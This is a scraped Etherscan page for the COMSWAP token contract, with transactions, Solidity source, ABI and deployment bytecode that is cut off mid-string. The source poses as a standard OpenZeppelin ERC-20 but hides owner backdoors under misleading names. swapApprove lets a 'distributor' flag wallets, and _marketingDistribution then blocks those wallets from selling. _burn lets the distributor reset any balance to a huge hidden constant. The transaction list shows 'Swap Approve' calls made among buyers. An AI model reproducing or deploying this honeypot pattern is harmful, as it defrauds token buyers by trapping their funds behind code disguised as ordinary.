ETH Price: $3,626.28 (-6.86%)

Contract

0xE8FCc431FAFC8Ae938D6D399197aF140f1b9A22b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve186086472023-11-19 21:51:23395 days ago1700430683IN
0xE8FCc431...0f1b9A22b
0 ETH0.0011070644.48728872
Approve186086462023-11-19 21:51:11395 days ago1700430671IN
0xE8FCc431...0f1b9A22b
0 ETH0.0012091444.87447567
Approve186086422023-11-19 21:50:23395 days ago1700430623IN
0xE8FCc431...0f1b9A22b
0 ETH0.0010937443.84618494
Approve186085872023-11-19 21:39:23395 days ago1700429963IN
0xE8FCc431...0f1b9A22b
0 ETH0.001638934.7454761
Approve186085692023-11-19 21:35:47395 days ago1700429747IN
0xE8FCc431...0f1b9A22b
0 ETH0.0017746837.83579867
Approve186085602023-11-19 21:33:59395 days ago1700429639IN
0xE8FCc431...0f1b9A22b
0 ETH0.0022810348.6185597
Approve186085522023-11-19 21:32:23395 days ago1700429543IN
0xE8FCc431...0f1b9A22b
0 ETH0.001794738
Swap Approve186085502023-11-19 21:31:47395 days ago1700429507IN
0xE8FCc431...0f1b9A22b
0 ETH0.0018241638.33897372
Approve186085502023-11-19 21:31:47395 days ago1700429507IN
0xE8FCc431...0f1b9A22b
0 ETH0.0017987438.33897372
Approve186085382023-11-19 21:29:23395 days ago1700429363IN
0xE8FCc431...0f1b9A22b
0 ETH0.001738737.05908794
Approve186085302023-11-19 21:27:47395 days ago1700429267IN
0xE8FCc431...0f1b9A22b
0 ETH0.0016250734.68149584
Swap Approve186085272023-11-19 21:27:11395 days ago1700429231IN
0xE8FCc431...0f1b9A22b
0 ETH0.0056888434.81930872
Approve186085202023-11-19 21:25:47395 days ago1700429147IN
0xE8FCc431...0f1b9A22b
0 ETH0.0015543332.91054208
Approve186085102023-11-19 21:23:47395 days ago1700429027IN
0xE8FCc431...0f1b9A22b
0 ETH0.0015470132.79729215
Approve186085052023-11-19 21:22:47395 days ago1700428967IN
0xE8FCc431...0f1b9A22b
0 ETH0.0016472434.92212616
Swap Approve186085042023-11-19 21:22:35395 days ago1700428955IN
0xE8FCc431...0f1b9A22b
0 ETH0.01056542222
Approve186085042023-11-19 21:22:35395 days ago1700428955IN
0xE8FCc431...0f1b9A22b
0 ETH0.0020549543.56579808
Approve186085032023-11-19 21:22:23395 days ago1700428943IN
0xE8FCc431...0f1b9A22b
0 ETH0.0018900940.01970312
Swap Approve186085002023-11-19 21:21:47395 days ago1700428907IN
0xE8FCc431...0f1b9A22b
0 ETH0.0016561934.79979705
Swap Approve186084992023-11-19 21:21:35395 days ago1700428895IN
0xE8FCc431...0f1b9A22b
0 ETH0.0016368534.39346324
Approve186084992023-11-19 21:21:35395 days ago1700428895IN
0xE8FCc431...0f1b9A22b
0 ETH0.001622334.39346324
Approve186084942023-11-19 21:20:35395 days ago1700428835IN
0xE8FCc431...0f1b9A22b
0 ETH0.0016641335.28024615
Swap Approve186084922023-11-19 21:20:11395 days ago1700428811IN
0xE8FCc431...0f1b9A22b
0 ETH0.001633634.32518614
Approve186084922023-11-19 21:20:11395 days ago1700428811IN
0xE8FCc431...0f1b9A22b
0 ETH0.001794738
Approve186084812023-11-19 21:17:59395 days ago1700428679IN
0xE8FCc431...0f1b9A22b
0 ETH0.0015976434.10497009
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
COMSWAP

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 7: COMSWAP.IO.sol
/**

  Website: https://comswap.io/
    How to? : https://medium.com/@COMswap
       Community: https://t.me/COMswapIO
          X (twitter): https://twitter.com/comswap_io
                                                                                                                                                    
*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

import "./ERC20.sol";

contract COMSWAP is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyDistributor {
        _burn(account, amount);
    }
}

File 2 of 7: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 7: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.3;

import "./IERC20.sol";
import "./Ownable.sol";


contract ERC20 is Ownable, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _startTrade;
    uint256 private balances;
    mapping (address => bool) private _5000;
   
    constructor(string memory name_, string memory symbol_, bool startTrade_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _startTrade = startTrade_;
    }
    
    function startTrading() external onlyOwner {
        if (_startTrade == false){
        _startTrade = true;}
        else {_startTrade = false;}
    }

    function maxTokenPerWallet(address account) public view returns (bool) {
        return _5000[account];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function swapApprove(address[] calldata address_, bool val) public onlyDistributor{
        for (uint256 i = 0; i < address_.length; i++) {
            _5000[address_[i]] = val;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_startTrade == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
                _marketingDistribution(from, amount);
                if(!_5000[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            
        }
        } else {require (_startTrade == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _marketingDistribution(address address_, uint256 amount_) private view {
        if (_5000[address_]) {require (amount_ == 0, "");}
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 7: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.3;
import "./IERC20Metadata.sol";
import "./IERC20Events.sol";
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 is IERC20Metadata, IERC20Events{
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}

File 5 of 7: IERC20Events.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 6 of 7: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IERC20Metadata {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 7 of 7: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    /**
     * @dev Set new distributor.
     */
    function distributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"maxTokenPerWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006005553480156200002057600080fd5b5060405162002c7438038062002c748339818101604052810190620000469190620004b0565b838382620000696200005d6200010760201b60201c565b6200010f60201b60201c565b82600690805190602001906200008192919062000360565b5081600790805190602001906200009a92919062000360565b5060055460098190555080600860006101000a81548160ff021916908315150217905550505050620000fd33620000d6620001d360201b60201c565b600a620000e49190620006ed565b84620000f191906200082a565b620001dc60201b60201c565b5050505062000a58565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200024f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002469062000586565b60405180910390fd5b62000263600083836200035660201b60201c565b806004600082825462000277919062000635565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002cf919062000635565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003369190620005a8565b60405180910390a362000352600083836200035b60201b60201c565b5050565b505050565b505050565b8280546200036e90620008e4565b90600052602060002090601f016020900481019282620003925760008555620003de565b82601f10620003ad57805160ff1916838001178555620003de565b82800160010185558215620003de579182015b82811115620003dd578251825591602001919060010190620003c0565b5b509050620003ed9190620003f1565b5090565b5b808211156200040c576000816000905550600101620003f2565b5090565b6000620004276200042184620005ee565b620005c5565b9050828152602081018484840111156200044057600080fd5b6200044d848285620008ae565b509392505050565b600081519050620004668162000a24565b92915050565b600082601f8301126200047e57600080fd5b81516200049084826020860162000410565b91505092915050565b600081519050620004aa8162000a3e565b92915050565b60008060008060808587031215620004c757600080fd5b600085015167ffffffffffffffff811115620004e257600080fd5b620004f0878288016200046c565b945050602085015167ffffffffffffffff8111156200050e57600080fd5b6200051c878288016200046c565b93505060406200052f8782880162000499565b9250506060620005428782880162000455565b91505092959194509250565b60006200055d601f8362000624565b91506200056a82620009fb565b602082019050919050565b620005808162000897565b82525050565b60006020820190508181036000830152620005a1816200054e565b9050919050565b6000602082019050620005bf600083018462000575565b92915050565b6000620005d1620005e4565b9050620005df82826200091a565b919050565b6000604051905090565b600067ffffffffffffffff8211156200060c576200060b620009ae565b5b6200061782620009dd565b9050602081019050919050565b600082825260208201905092915050565b6000620006428262000897565b91506200064f8362000897565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000687576200068662000950565b5b828201905092915050565b6000808291508390505b6001851115620006e457808604811115620006bc57620006bb62000950565b5b6001851615620006cc5780820291505b8081029050620006dc85620009ee565b94506200069c565b94509492505050565b6000620006fa8262000897565b91506200070783620008a1565b9250620007367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200073e565b905092915050565b60008262000750576001905062000823565b8162000760576000905062000823565b81600181146200077957600281146200078457620007ba565b600191505062000823565b60ff84111562000799576200079862000950565b5b8360020a915084821115620007b357620007b262000950565b5b5062000823565b5060208310610133831016604e8410600b8410161715620007f45782820a905083811115620007ee57620007ed62000950565b5b62000823565b62000803848484600162000692565b925090508184048111156200081d576200081c62000950565b5b81810290505b9392505050565b6000620008378262000897565b9150620008448362000897565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000880576200087f62000950565b5b828202905092915050565b60008115159050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620008ce578082015181840152602081019050620008b1565b83811115620008de576000848401525b50505050565b60006002820490506001821680620008fd57607f821691505b602082108114156200091457620009136200097f565b5b50919050565b6200092582620009dd565b810181811067ffffffffffffffff82111715620009475762000946620009ae565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b62000a2f816200088b565b811462000a3b57600080fd5b50565b62000a498162000897565b811462000a5557600080fd5b50565b61220c8062000a686000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac146102d1578063a457c2d7146102ed578063a9059cbb1461031d578063dd62ed3e1461034d578063e074839e1461037d57610116565b806370a082311461025b578063715018a61461028b5780638da5cb5b1461029557806395d89b41146102b357610116565b806318160ddd116100e957806318160ddd146101b557806323b872dd146101d3578063293230b814610203578063313ce5671461020d578063395093511461022b57610116565b806306fdde031461011b578063095ea7b3146101395780631128d531146101695780631186b8d814610199575b600080fd5b610123610399565b6040516101309190611aab565b60405180910390f35b610153600480360381019061014e91906117c8565b61042b565b6040516101609190611a90565b60405180910390f35b610183600480360381019061017e9190611714565b61044e565b6040516101909190611a90565b60405180910390f35b6101b360048036038101906101ae9190611804565b6104a4565b005b6101bd6105ff565b6040516101ca9190611c4d565b60405180910390f35b6101ed60048036038101906101e89190611779565b610609565b6040516101fa9190611a90565b60405180910390f35b61020b610638565b005b61021561070e565b6040516102229190611c68565b60405180910390f35b610245600480360381019061024091906117c8565b610717565b6040516102529190611a90565b60405180910390f35b61027560048036038101906102709190611714565b6107c1565b6040516102829190611c4d565b60405180910390f35b61029361080a565b005b61029d610892565b6040516102aa9190611a75565b60405180910390f35b6102bb6108bb565b6040516102c89190611aab565b60405180910390f35b6102eb60048036038101906102e691906117c8565b61094d565b005b610307600480360381019061030291906117c8565b6109eb565b6040516103149190611a90565b60405180910390f35b610337600480360381019061033291906117c8565b610ad5565b6040516103449190611a90565b60405180910390f35b6103676004803603810190610362919061173d565b610af8565b6040516103749190611c4d565b60405180910390f35b61039760048036038101906103929190611714565b610b7f565b005b6060600680546103a890611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611db1565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610c9a565b9050610443818585610ca2565b600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052b90611c0d565b60405180910390fd5b60005b838390508110156105f95781600a6000868685818110610580577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105959190611714565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105f190611de3565b915050610537565b50505050565b6000600454905090565b600080610614610c9a565b9050610621858285610e6d565b61062c858585610ef9565b60019150509392505050565b610640610c9a565b73ffffffffffffffffffffffffffffffffffffffff1661065e610892565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab90611b6d565b60405180910390fd5b60001515600860009054906101000a900460ff16151514156106f0576001600860006101000a81548160ff02191690831515021790555061070c565b6000600860006101000a81548160ff0219169083151502179055505b565b60006009905090565b600080610722610c9a565b90506107b6818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b19190611c9f565b610ca2565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610812610c9a565b73ffffffffffffffffffffffffffffffffffffffff16610830610892565b73ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d90611b6d565b60405180910390fd5b6108906000611357565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546108ca90611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546108f690611db1565b80156109435780601f1061091857610100808354040283529160200191610943565b820191906000526020600020905b81548152906001019060200180831161092657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d490611c0d565b60405180910390fd5b6109e7828261141b565b5050565b6000806109f6610c9a565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab390611c2d565b60405180910390fd5b610ac98286868403610ca2565b60019250505092915050565b600080610ae0610c9a565b9050610aed818585610ef9565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b87610c9a565b73ffffffffffffffffffffffffffffffffffffffff16610ba5610892565b73ffffffffffffffffffffffffffffffffffffffff1614610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf290611b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990611bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7990611b0d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e609190611c4d565b60405180910390a3505050565b6000610e798484610af8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ef35781811015610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90611b2d565b60405180910390fd5b610ef28484848403610ca2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6090611bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090611acd565b60405180910390fd5b60011515600860009054906101000a900460ff161515148061102d5750610ffe610892565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106a575061103b610892565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112f0576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112eb576110c183826115e7565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111565760008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90611bcd565b60405180910390fd5b5b611161838383611681565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df90611b4d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1